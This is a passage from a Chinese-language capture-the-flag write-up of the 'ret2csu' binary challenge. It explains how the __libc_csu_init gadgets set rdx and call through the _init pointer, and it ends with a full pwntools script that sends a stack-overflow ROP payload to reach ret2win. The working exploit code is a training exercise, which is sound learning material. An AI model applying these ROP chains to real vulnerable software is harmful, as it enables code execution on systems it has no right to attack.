在上面我们设置了rbx为0,所以call的地址就是r12指定了,但是直接把ret2win的地址放入r12会报SIGSEGV。而为了有效地使用movrdx,r15,我们必须确保调用QWORD PTR [r12 + rbx * 8]不是SIGSEGV,cmp rbx,rbp相等且最重要的是RDX的值不会改变。

根据这篇文章(https://www.voidsecurity.in/2013/07/some-gadget-sequence-for-x8664-rop.html)描述的技巧,我们可以尝试调用__init()函数,通过DYNAMIC变量定位

gdb ret2csu

image-20240211164158953

因为__init使用0x400560地址,我们的指针就是0x600e30 + 8

这些操作完成后,我们就可以正常地在栈上放入ret2win的地址

总结下我们做了哪些事情:

首先调用第一个gadget,地址是0x40089a

将需要的值放在栈上

r12寄存器上是指向__init地址的指针

r15寄存器是0xdeadcafebabebeef

rbx寄存器是0x0

rbp寄存器是0x1

第二个gadget地址是0x400880

因为有add rsp,8所以我们需要进行一些填充

将ret2win的值放在栈上

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *

ret2win_adr = 0x4007b1
first_gadget_adr = 0x40089a
second_gadget_adr = 0x400880
init_pointer = 0x600e38

payload = b"A" * 40
payload += p64(first_gadget_adr)
payload += p64(0x00) # pop rbx
payload += p64(0x01) # pop rbp
payload += p64(init_pointer) # pop r12
payload += p64(0x00) # pop r13
payload += p64(0x00) # pop r14
payload += p64(0xdeadcafebabebeef) # pop r15
payload += p64(second_gadget_adr)
payload += p64(0x00) # add rsp,0x8 padding
payload += p64(0x00) # rbx
payload += p64(0x00) # rbp
payload += p64(0x00) # r12
payload += p64(0x00) # r13
payload += p64(0x00) # r14
payload += p64(0x00) # r15
payload += p64(ret2win_adr)

ret2csu = process('./ret2csu')


ret2csu.readuntil('>')

ret2csu.sendline(payload)

output = ret2csu.readall()
print(output)